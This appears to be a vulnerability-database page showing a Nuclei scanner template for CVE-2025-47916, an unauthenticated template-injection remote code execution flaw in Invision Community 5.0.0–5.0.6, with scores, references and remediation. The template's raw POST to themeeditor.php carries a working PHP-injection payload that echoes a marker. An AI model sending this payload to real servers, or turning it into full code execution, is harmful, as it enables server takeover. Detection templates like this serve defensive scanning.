Lucene search
+L

Invision Community <=5.0.6 Unauthenticated RCE via Template Injection

🗓️ 23 Oct 2026 02:07:15Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 298 Views

Unauthenticated remote code execution in Invision Community 5.0.0 to 5.0.6 via template injection.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Neutralization of Special Elements Used in a Template Engine in Invisioncommunity
21 Nov 202513:16
–githubexploit
bdu_fstec
BDU FSTEC
Invision Community makeProcessFunction Arbitrary PHP Code Execution
12 Jan 202600:00
–bdu_fstec
circl
Circl
CVE-2025-47916
14 May 202512:43
–circl
cnnvd
CNNVD
Invision Community security vulnerabilities
16 May 202500:00
–cnnvd
cve
CVE
CVE-2025-47916
16 May 202500:00
–cve
cvelist
Cvelist
CVE-2025-47916
16 May 202500:00
–cvelist
exploitdb
Exploit DB
Invision Community 5.0.6 - Remote Code Execution (RCE)
18 May 202500:00
–exploitdb
kitploit
Kitploit
CVE-2025-47916
22 Oct 202616:37
–kitploit
metasploit
Metasploit
Invision Community 5.0.6 customCss RCE
16 May 202500:00
–metasploit
nvd
NVD
CVE-2025-47916
16 May 202515:15
–nvd
Rows per page
id: CVE-2025-47916

info:
  name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
  author: EgiX,iamnoooob,pdresearch
  severity: critical
  description: |
    Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.
  remediation: |
    Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47916
    - https://karmainsecurity.com/pocs/CVE-2025-47916.php
    - https://invisioncommunity.com/release-notes-v5/507-r41/
    - https://karmainsecurity.com/KIS-2025-02
    - http://seclists.org/fulldisclosure/2025/May/4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-47916
    cwe-id: CWE-1336
    epss-score: 0.84188
    epss-percentile: 0.99699
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="Invision" && body="ips4"
    shodan-query: "Set-Cookie: ips4_"
  tags: cve,cve2025,invision,rce,ssti,unauth,seclists,vkev,vuln

variables:
  marker: "{{randstr}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app=core&module=system&controller=themeeditor&do=customCss&content=%7Bexpression%3D%22die%28%27CVE%27. base64_decode%28%27{{base64(marker)}}%3D%27%29%29%22%7D

    matchers:
      - type: word
        part: body
        words:
          - 'CVE{{marker}}'
# digest: 490a0046304402207aa519636ca9032ebf67ff97c7a7ab7b25eba6699fcc6134c87eae4ca32b33ab02204fba1fc267ec27ff666fef26bb089dbb66dbecfec6a3b4303578bd5d16f17c5a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
9.2Critical risk
Vulners AI Score9.2
CVSS 3.19.8 - 10
EPSS0.84318
SSVC
298